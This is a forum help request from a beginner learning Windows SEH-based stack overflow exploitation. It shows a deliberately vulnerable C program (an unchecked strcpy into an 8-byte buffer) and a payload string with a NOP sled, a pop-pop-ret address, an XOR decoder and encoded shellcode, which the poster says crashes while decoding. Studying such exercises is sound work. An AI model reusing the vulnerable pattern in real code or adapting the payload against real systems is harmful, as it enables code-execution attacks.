-
-
[旧帖]
[求助]一个简单的堆栈溢出漏洞利用的例子
0.00雪花
-
-
[旧帖] [求助]一个简单的堆栈溢出漏洞利用的例子
0.00雪花
我是新手,正在学习windows下的缓冲区溢出漏洞,看了关于SEH利用之后,写了个简单的例子。
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
void print(char* p) //有问题的函数,参数过长发生溢出
{
char name[8];
strcpy(name, p);
printf("name has copyed...\n");
}
char para[]="AAAAAAAA"
"AAAA" //覆盖eip
"AAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAA" //下一个就是SEH链的第一个指针了
"\x90\x90\xEB\x04" //放置jmp 04 (注意代码的顺序和实际顺序相同)
"\x71\x15\xfa\x7f" //放置pop pop ret的地址(地址的顺序和实际相反)
//放置shellcode
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xEB\x0E\x5B\x4B\x33\xC9\xB1" //decode1 通过call获得代码地址
"\x2C" // shellcode size 1byte
"\x80\x34\x0B"
"\xAA" // xor byte
"\xE2\xFA\xEB\x05\xE8\xED\xFF\xFF\xFF"
"\xff\x21\x46\xc2\xf8\xfe\xaa\xaa\xc2\xe7\xf9\xfc" //异或后的shellcode 长度为46
"\xe9\xfe\x12\xdd\xb7\x2a\xd6\x55\x7a\xc2\xc9\xc5\xc7\xaa"
"\xc2\xcb\xc4\xce\x84\xc2\xc9\xc5\xc7\xc7\xfe\x12\x6d\x39"
"\x15\xdd\x55\x7a";
void main()
{
print(para);
}
覆盖SEH的指针定位到shellcode区,shellcode经过了异或编码,所以已开始是解码的程序,后面跟着真正的shellcode,但是我用ollydbg调试跟踪到shellcode代码时发现,在解码的过程中,出现
写入到[XXXXXXXX]出错,所以导致shellcode发生异常,无法顺利执行,请问这种情况如何处理?
(我用的是winxp sp2,VC6)
[培训]科锐逆向工程师培训第53期2025年7月8日开班!